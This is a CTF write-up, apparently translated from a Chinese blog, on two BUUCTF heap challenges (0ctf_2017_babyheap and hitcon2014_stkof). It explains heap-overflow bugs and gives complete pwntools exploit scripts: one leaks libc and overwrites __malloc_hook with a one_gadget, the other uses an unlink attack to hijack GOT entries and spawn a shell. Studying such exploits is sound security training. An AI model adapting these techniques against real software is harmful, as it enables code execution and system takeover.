buuctf (0ctf_2017_babyheap) (hitcon2014_stkof)

0ctf_2017_babyheap

insert image description here
Fully protected
Program logic
Heap menu question
insert image description here
1.add
insert image description here
Apply for a heap block normally, enter the size, then apply for one according to the size, and return the serial number of the heap block.
Here is a brief talk about the calloc function
calloc function: calloc(size_t numElements, size_t sizeOfElement) has two parameters, which are the number of elements and the size of each element. The product of these two parameters is the size of the memory space to be allocated.
2. Edit
insert image description here
insert image description here
can find that the program does not detect the size and length of the input, so there is a heap overflow here. 3. There is no uaf vulnerability in
free . 4. Dump prints the contents of the heap block. In general heap overflow, first apply for three heap blocks, the first heap The block is used to modify the second heap block so that it wraps the third heap block to cause an overlap, then free it, and then apply for the original size of the second block, and then apply for the second block back again, and then The third block is still in the unstorted bin, then dump the third heap block to leak libc, then fastbin attack modifies malloc_hook to one_gadget, and then apply to get the shell script as follows:
insert image description here


insert image description here


from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node4.buuoj.cn",26206)
#p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc64-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i):
	p.recvuntil("Command: ")
	p.sendline(str(1))
	p.sendlineafter("Size: ",str(i))

def edit(idx,size,c):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.sendlineafter("Index: ",str(idx))
	p.sendlineafter("Size: ",str(size))
	p.sendafter("Content: ",c)

def free(i):
	p.recvuntil("Command: ")
	p.sendline(str(3))
	p.sendlineafter("Index: ",str(i))

def dump(i):
	p.recvuntil("Command: ")
	p.sendline(str(4))
	p.sendlineafter("Index: ",str(i))
	

add(0x18)
add(0x58)
add(0x68)
add(0x18)

edit(0,0x20,p64(0)*3+p64(0xd1))
free(1)
add(0x58)
dump(2)
malloc_hook=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-88-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
print(hex(malloc_hook))
print(hex(libc_base))
one_gad=libc_base+0x4526a
free(2)
edit(1,0x58+0x10,p64(0)*11+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)
add(0x68)

edit(4,0x13+0x8,b'a'*0x13+p64(one_gad))
#bug()
add(0x18)
p.interactive()


hitcon2014_stkof

Check the program logic and
insert image description here
insert image description here
the menu title of the protected heap, and audit the code
1. add and
insert image description here
enter the size of an application. Then the heap block pointer will be stored in the bss segment. Since pie is not enabled, you can pay attention to whether it can be unlinked here.

2. insert image description here
Analyze the code logic, first input an s and then use it as the subscript of a global variable on the bss segment, which should be the meaning of the number of heap blocks, and then input an n again, and fread will read in again, and read In the corresponding heap block, and the size of the input is not detected, so there is a heap overflow here, the idea is to unlink and hit the got table.
Look at 3 again
.
insert image description here

It can be seen that after the heap block is released, the pointer is also zeroed, so there is no uaf
4.puts
insert image description here

This output does not print the contents of the heap block, it is a fake output.
Use idea:
Forge fake_chunk and merge it forward, start unlink, modify the pointer of the first heap block to be the got table of free, change the pointer of the second block to the got table of puts, and then change the got table of free to puts plt table, then free heap block 2, leak libc_base, then calculate the address of the system function, then change the free got table to system function, and then release the heap block whose string is /bin/sh, getshell.
The script is as follows:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",25748)
p=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i):
	
	p.sendline(str(1))
	p.sendline(str(i))
	p.recvuntil("OK\n")

def edit(idx,size,c):
	p.sendline(str(2))
	p.sendline(str(idx))
	p.sendline(str(size))
	p.send(c)
	p.recvuntil("OK\n")

def free(i):
	p.sendline(str(3))
	p.sendline(str(i))

def dump(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter("Index :",str(i))
bss=0x602140+0x10
add(0x18)
add(0x98)
add(0x98)
add(0x18)
edit(4,8,b'/bin/sh\x00')
fake_chunk=(p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)).ljust(0x90,b'\x00')+p64(0x90)+p64(0xa0)
edit(2,0xa0,fake_chunk)
free(3)

edit(2,0x20,p64(0)*2+p64(elf.got['free'])+p64(elf.got['puts']))
edit(1,0x8,p64(elf.plt['puts']))
free(2)
free_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base=free_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
edit(1,0x8,p64(system))
#bug()
free(4)
p.interactive()

Guess you like

Origin blog.csdn.net/cainiao78777/article/details/130756452